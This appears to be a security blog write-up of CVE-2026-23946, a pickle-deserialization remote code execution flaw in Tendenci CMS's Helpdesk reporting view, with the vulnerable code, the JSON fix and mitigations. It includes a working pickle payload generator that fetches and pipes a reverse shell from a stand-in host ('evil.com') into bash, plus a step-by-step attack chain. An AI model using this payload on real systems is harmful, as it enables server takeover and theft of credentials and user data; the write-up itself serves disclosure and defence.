CVE-2026-23946: The Zombie Pickle in Tendenci's Helpdesk

If you've been in the Python security game for more than five minutes, you know the rule: Never trust a pickle. It is the golden rule of Python development, right up there with 'don't commit your AWS keys to GitHub.' Yet, here we are in 2026, looking at CVE-2026-23946, a vulnerability in Tendenci CMS that is essentially a zombie rising from the grave of CVE-2020-14942.

Tendenci is an open-source CMS built for non-profits. It's robust, feature-rich, and like many legacy Django applications, it has some skeletons in its closet. The specific skeleton here is the Helpdesk module. Back in 2020, security researchers pointed out that Tendenci was using pickle to store and retrieve search queries. The developers patched it... mostly. They fixed the ticket_list view, swapping unsafe pickle deserialization for JSON. Everyone clapped, the ticket was closed, and the world moved on.

But they missed a spot. Deep in the run_report function, the pickle logic remained, lurking like a landmine waiting for someone to step on it. This isn't just a bug; it's a lesson in the dangers of 'spot-fixing' vulnerabilities rather than eradicating the root cause (the use of pickle itself) from the entire codebase.

To understand why this is critical, you have to understand how Python's pickle module works. Unlike JSON, which is a data interchange format (text), pickle is a binary serialization protocol that is capable of serializing arbitrary Python objects. It doesn't just save data; it saves instructions on how to reconstruct that data.

The flaw lies in the __reduce__ method. When Python unpickles an object, if that object defines __reduce__, the unpickler will execute whatever callable (function) is returned by that method. This was designed for convenience—so complex objects could tell Python how to rebuild themselves. Hackers, being the opportunistic pragmatists they are, realized they could tell Python to 'rebuild' an object by running os.system('sh').

In Tendenci's case, the application takes a base64-encoded string from the database (a saved query), decodes it, and passes it directly to pickle.loads(). There is no signature verification, no sandboxing, and no mercy. If you can write to that database field, you own the server.

Let's look at the crime scene. The vulnerability resides in tendenci/apps/helpdesk/views/staff.py. Before version 15.3.12, the code looked something like this:

# The Vulnerable Logic
def run_report(request, report_id):
    # ... retrieval logic ...
    if saved_query:
        # HERE IS THE DRAGON
        query_params = pickle.loads(b64decode(saved_query.query))
        # ... application logic ...

It is elegant in its simplicity and devastating in its insecurity. The saved_query.query is controlled by the user. The fix involved ripping out pickle entirely and replacing it with standard JSON handling, which treats data as data, not code.

# The Fix (simplified)
import simplejson as json
 
# ... inside the view ...
    try:
        # Sanity prevails
        query_params = json.loads(b64decode(saved_query.query))
    except (ValueError, TypeError):
        # Handle legacy or bad data gracefully
        query_params = {}

The patch didn't just change the deserializer; they also updated the input forms (SavedSearchForm) to ensure that new data coming in is strictly validated JSON, effectively closing the loop.

So, how do we exploit this? Since this is an authenticated vulnerability, we first need a user with 'Staff' permissions. This limits the blast radius, but insider threats or compromised staff accounts make this a very real vector.

The attack chain is straightforward:

1. Authenticate to the Tendenci dashboard.
2. Navigate to the Helpdesk reporting section.
3. Inject a malicious query object.

A standard Python pickle exploit generator looks like this:

import pickle
import base64
import os
 
class Payload(object):
    def __reduce__(self):
        # The command to execute on the server
        cmd = ('curl https://evil.com/revshell | bash')
        return (os.system, (cmd,))
 
payload = base64.b64encode(pickle.dumps(Payload()))
print(f"Inject this: {payload.decode()}")

The attacker saves a new 'Search Query' in the Helpdesk module. Instead of a valid search filter, they intercept the request and replace the query parameter with the base64 string generated above. When the attacker (or an unsuspecting admin) clicks 'Run Report' on that saved query, the server deserializes the blob, sees the os.system instruction, and executes the reverse shell.

You might argue, 'But you need Staff permissions!' True. But in the world of CMS, 'Staff' is often not 'System Administrator.' Staff might be a content editor, a volunteer, or a marketing intern. They should not have the ability to execute shell commands on the web server.

Successful exploitation leads to Remote Code Execution (RCE). The code runs with the privileges of the web application user (usually www-data or nginx). From there, the attacker can:

• Read the settings.py file to steal database credentials and secret keys.
• Dump the entire user database (PII, emails, hashes).
• Pivot to other internal systems if the server is in a DMZ.
• Install a cryptominer, because why not?

This turns a low-privilege compromise into a total infrastructure takeover.

The remediation is simple: Update to Tendenci v15.3.12 immediately. The developers have scrubbed the pickle imports from the Helpdesk module and replaced them with simplejson.

If you cannot update immediately, you have two options:

1. Disable the Helpdesk Module: This module is not enabled by default. Go to your settings.py or site configuration and ensure tendenci.apps.helpdesk is not in your INSTALLED_APPS.
2. WAF Rules: Implement a WAF rule that blocks POST requests containing base64 strings that decode to pickle headers (look for gASV or the pickle opcode . combined with global). However, blocking serialized data via WAF is cat-and-mouse; patching is the only real fix.

> [!NOTE] > If you are a developer, let this be a lesson: If you are using pickle, Marshal, or Java Object Serialization on user input, you are wrong. Stop it. Use JSON.